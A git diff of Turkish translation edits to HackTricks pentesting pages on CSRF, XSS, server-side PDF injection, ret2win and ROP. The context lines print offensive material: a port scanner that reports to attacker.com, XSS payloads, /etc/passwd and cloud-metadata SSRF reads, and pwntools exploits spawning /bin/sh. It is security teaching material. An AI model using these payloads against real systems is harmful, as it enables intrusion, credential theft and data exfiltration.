**HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir: ```html ``` @@ -669,7 +669,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir: +Bu durumun gerçekleşmesini önlemek için sunucu şu HTTP başlığını gönderebilir: ``` X-DNS-Prefetch-Control: off ``` diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 77944eadc..fb1e2a132 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -136,7 +136,7 @@ form.submit() ``` ### JSON Verileri için Ön Uç İsteklerini Aşma -JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Yine de, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin stratejileri vardır: +JSON verilerini POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Ancak, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin bazı stratejileri vardır: 1. **Alternatif İçerik Türlerini Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, arka ucun içerik türüne bakılmaksızın verileri kullanıp kullanmadığını test eder. 2. **İçerik Türünü Değiştirme**: Sunucunun içeriği JSON olarak tanımasını sağlarken bir ön uç isteğinden kaçınmak için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu, bir ön uç isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırılmışsa doğru bir şekilde işlenebilir. @@ -144,7 +144,7 @@ JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formun ### Referans / Kaynak kontrolünü aşma -**Referans başlığından kaçınma** +**Referans başlığından kaçının** Uygulamalar, 'Referer' başlığını yalnızca mevcut olduğunda doğrulayabilir. Bir tarayıcının bu başlığı göndermesini önlemek için aşağıdaki HTML meta etiketi kullanılabilir: ```xml @@ -189,7 +189,7 @@ document.forms[0].submit() ``` ### **HEAD yöntemi atlatma** -[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) ile bir yönlendiricinin **HEAD isteklerini GET istekleri olarak yanıt vermeden işlemek üzere ayarlandığı** açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir çözüm yoludur. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**. +[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlanmış bir yönlendirici olan [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir geçici çözümdür. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**. Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**. @@ -197,7 +197,7 @@ Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir H ### **CSRF Token'ını Sızdırma** -Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/) açığını kullanarak **sızdırmayı** deneyebilirsiniz. +Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) açığını kullanarak **sızdırmayı** deneyebilirsiniz. ### **HTML etiketleri kullanarak GET** ```xml @@ -472,7 +472,7 @@ style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"> ``` -### **CSRF Token'ı Çal ve bir iframe ve form kullanarak bir POST isteği gönder** +### **CSRF Token'ı Çal ve bir iframe ile bir form kullanarak POST isteği gönder** ```html ``` -Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**. +Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**. **`javascript:` ile Hex ve Octal kodlama kullanma** -**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak için kullanabilirsiniz: +**HTML etiketlerini JS çalıştırmak için** `iframe`'in `src` niteliği içinde (en azından) **Hex** ve **Octal kodlama** kullanabilirsiniz: ```javascript //Encoded: // This WORKS @@ -385,7 +385,7 @@ Eğer herhangi bir URL'yi **` //No safari @@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta) -From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girdileri kötüye kullanmak mümkün:** +From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişleri kötüye kullanmak mümkün:** ```html @@ -448,7 +448,7 @@ Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmu ### CSS-Aletleri -Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz. +Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi ile küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz. Örneğin, öğeye şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -460,7 +460,7 @@ ve > \#someid {top: 0; font-family: Tahoma;} -bulursanız, bağlantımızı şu forma getirebilirsiniz +bulursanız, bağlantınızı şu forma getirebilirsiniz > \ @@ -468,7 +468,7 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x ## JavaScript kodu içine enjekte etme -Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**. +Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**. ### \ ``` -Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir. +Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir. ### JS kodu içinde -Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: +Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **arbitrary JS** **yürütme** işlemini gerçekleştirebilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -489,7 +489,7 @@ Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalı ### Şablon Literalleri \`\` Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\ -Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz: +Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz: Bu, şu şekilde **kötüye kullanılabilir**: ```javascript @@ -738,21 +738,21 @@ top[8680439..toString(30)](1) ```` ## **DOM zafiyetleri** -**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ +**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ **Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\ +Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\ Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın. ### Self-XSS'i Yükseltme ### Cookie XSS -Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz: +Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS ile 302 yanıtında başlık enjeksiyonu -Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. +Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durumu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. -[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.\ +[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\ Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Location başlığı_, `resource://`. ### Sadece Harfler, Sayılar ve Noktalar @@ -836,11 +836,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın ### XSS için Geçerli ` ``` -### Port Scanner (fetch) +### Port Tarayıcı (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` @@ -1358,11 +1358,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_Kısa süreler yanıt veren bir portu_ _Uzun süreler yanıt yok demektir._ +_Kısa süreler, yanıt veren bir portu gösterir_ _Uzun süreler, yanıt olmadığını gösterir._ Chrome'da yasaklanan portların listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin. -### Kimlik bilgilerini istemek için kutu +### Kimlik bilgileri istemek için kutu ```markup ``` @@ -1388,7 +1388,7 @@ GitHub'da arama yaparak birkaç farklı tane buldum: - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz. -### CSRF tokenlarını çalmak +### CSRF token'larını çalmak ```javascript ` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, ` @@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing --> ``` -### Harici bir betik yükleyin +### Yükleme harici bir betik -Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Ardından, yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz. +Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Böylece, yüklenen yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz. ```markup ')"/> @@ -79,9 +79,9 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon ### Yerel dosyayı oku / SSRF > [!WARNING] -> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` değiştirin, örneğin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**. +> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi bir şey değiştirin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**. > -> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). +> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). ```markup ``` -### [SSRF](../ssrf-server-side-request-forgery/) +### [SSRF](../ssrf-server-side-request-forgery/index.html) -Bu zafiyet, SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?). +Bu zafiyet, bir SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?). ### Attachments: PD4ML -PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, bunlardan biri **PD4ML**'dir. Bu özelliği, PDF'ye **herhangi bir yerel dosyayı eklemek** için kötüye kullanabilirsiniz.\ -Eklemeyi açmak için dosyayı **Firefox ile açtım ve Ataş simgesine çift tıkladım** böylece **eklemeyi** yeni bir dosya olarak **kaydedebildim**.\ +**PDF için ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, **herhangi bir yerel dosyayı** PDF'ye **eklemek için** kötüye kullanabilirsiniz.\ +Eklemeyi açmak için dosyayı **Firefox ile açtım ve Kağıt Klibi simgesine çift tıkladım** ve **eklemeyi** yeni bir dosya olarak **kaydettim**.\ Burp ile **PDF yanıtını** yakalamak da **eklemeyi düz metin olarak** PDF içinde **göstermelidir**. ```html diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index c60d442bd..06ff0911a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -61,7 +61,7 @@ Payloadlar örneği:
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)"> ----------------------------------------------- #include @@ -33,13 +33,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır). - `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak. -- `-z execstack`: Yığında kodun çalışmasına izin ver. +- `-z execstack`: Yığında kodun çalıştırılmasına izin ver. - `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak. - `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle. ### Python Exploit using Pwntools -Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır. +Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır. ```python from pwn import * @@ -65,14 +65,14 @@ objdump -d vulnerable | grep win ``` Bu komut, `win` fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir. -Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e veya çıkışa dönmek yerine `win`'e atlar ve mesaj yazdırılır. +Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e dönmek veya çıkmak yerine `win`'e atlar ve mesaj yazdırılır. ## Koruma Önlemleri -- [**PIE**](../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen Yazma** yapabilirsiniz. ASLR'nin nasıl çalıştığı nedeniyle, son üç hex nibble rastgeleleştirilmez, bu yüzden doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır. -- [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Yazma** yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olacaktır. +- [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. -## Diğer Örnekler & Referanslar +## Diğer örnekler & Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) @@ -84,8 +84,8 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst yazmak için format dizesi +- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) yazmak için format dizesi - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst yazma (ret2win) +- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi yazma (ret2win) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 356c18581..497feda7b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -8,7 +8,7 @@ ### ROP Nasıl Çalışır -1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir, genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılarak. +1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır. 2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir. 3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar. @@ -20,7 +20,7 @@ Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget ### **x86 (32-bit) Çağrı Konvansiyonları** -- **cdecl**: Çağıran yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** +- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** - **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur. ### **Gadget Bulma** @@ -37,7 +37,7 @@ Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget **pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin: 1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı) -2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/)) +2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/index.html)) 3. `system()`'den dönüş adresi için yer tutucu 4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre) ```python @@ -77,22 +77,22 @@ p.interactive() ### **x64 (64-bit) Çağrı Konvansiyonları** -- **İlk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında geçilir. Ek argümanlar yığında geçilir. Dönüş değeri `RAX`'a yerleştirilir. -- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında geçilir. Dönüş değeri `RAX`'a yerleştirilir. +- Unix benzeri sistemlerde **System V AMD64 ABI** çağrı konvansiyonu kullanılır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. +- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. - **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir. -#### **Gadget'ları Bulma** +#### **Gadget Bulma** -Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak geçmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: +Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyacak gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: - **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir. -- **ret**: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır. +- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır. Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz. ### **ROP Zinciri** -Aşağıda, **pwntools** kullanarak **system('/bin/sh')** çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır. +Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır: ```python from pwn import * @@ -135,7 +135,7 @@ Bu örnekte: ### Yığın Hizalaması -**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. +**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize 